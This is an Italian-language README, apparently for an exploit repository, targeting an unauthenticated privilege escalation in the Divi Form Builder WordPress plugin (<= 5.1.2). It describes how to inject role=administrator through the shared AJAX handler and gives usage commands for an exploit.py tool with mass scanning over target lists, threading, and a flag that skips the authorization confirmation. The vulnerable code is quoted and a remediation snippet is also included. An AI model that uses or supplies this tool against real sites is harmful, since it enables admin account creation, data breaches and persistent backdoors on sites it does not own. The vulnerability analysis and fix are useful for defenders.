
Divi Form Builder <= 5.1.2 — Escalation di privilegi non autenticata tramite iniezione di ruolo
🔥 Riepilogo della Vulnerabilità
Il plugin WordPress Divi Form Builder versioni <= 5.1.2 è affetto da una vulnerabilità di escalation dei privilegi non autenticata. Questa falla critica consente ad attaccanti non autenticati di creare un nuovo account Amministratore direttamente tramite qualsiasi modulo di Divi Form Builder — inclusi moduli di contatto, moduli di preventivo, moduli di newsletter o qualsiasi altro modulo abilitato DFB.
La vulnerabilità deriva dalla funzione create_user() in FormSubmissionHandler.php, che accetta il parametro role direttamente dai dati POST inviati dall'utente senza un'adeguata autorizzazione o validazione tramite allowlist. Il plugin controlla soltanto se il ruolo inviato esiste nel sistema (ad es., administrator è un ruolo WordPress valido) — non controlla mai se il ruolo è sicuro per la registrazione pubblica.
Scoperta Rivoluzionaria: Il fb_nonce utilizzato da Divi Form Builder è un nonce globale condiviso (wp_create_nonce('security')) — identico in tutti i moduli del sito. Inoltre, form_type=register può essere sovrascritto tramite POST verso il gestore AJAX condiviso. Ciò significa che qualsiasi modulo DFB (contatto, preventivo, feedback, ecc.) può essere armato per attivare la registrazione di utenti con assegnazione di ruolo arbitraria.
🔍 Plugin Interessato
🧨 Cosa Possono Fare gli Attaccanti
🧪 Caratteristiche dell'Exploit
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator insieme ai normali campi del moduloresult.txt🧠 Codice Vulnerabile
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 Utilizzo
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
Crea targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 Raccomandazioni di Correzione
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role dai moduli frontendcurrent_user_can('create_users') per i ruoli privilegiati🧠 Ricercatore
📚 Riferimenti
🔒 Disclaimer:
Queste informazioni sono fornite esclusivamente a scopo didattico e per test di penetrazione autorizzati. Lo sfruttamento non autorizzato di sistemi informatici è illegale e antietico. Ottieni sempre un'autorizzazione scritta esplicita prima di testare qualsiasi target che non possiedi.
| Capacità | Impatto |
|---|
| 🔑 Creare un account admin senza login | Compromissione Totale del Sito |
| 📦 Accedere ai dati dei clienti WooCommerce | Violazione dei Dati |
| 💉 Modificare i file PHP di plugin/temi | Esecuzione di Codice Remoto |
| 🕳️ Installare backdoor nascoste | Accesso Persistente |
| 👥 Visualizzare tutti i dati degli utenti | Violazione della Privacy |
| Flag | Descrizione |
|---|
-t, --target | URL del singolo target |
-l, --list | File con l'elenco dei target (uno per riga, http/https opzionale) |
-T, --threads | Thread per la scansione di massa (predefinito: 10) |
-o, --output | File di output per i risultati (predefinito: result.txt) |
-u, --username | Nome utente personalizzato per il nuovo account |
-p, --password | Password personalizzata per il nuovo account |
-e, --email | Email personalizzata per il nuovo account |
-v, --verbose | Output di debug dettagliato |
--no-confirm | Salta il prompt di conferma dell'autorizzazione |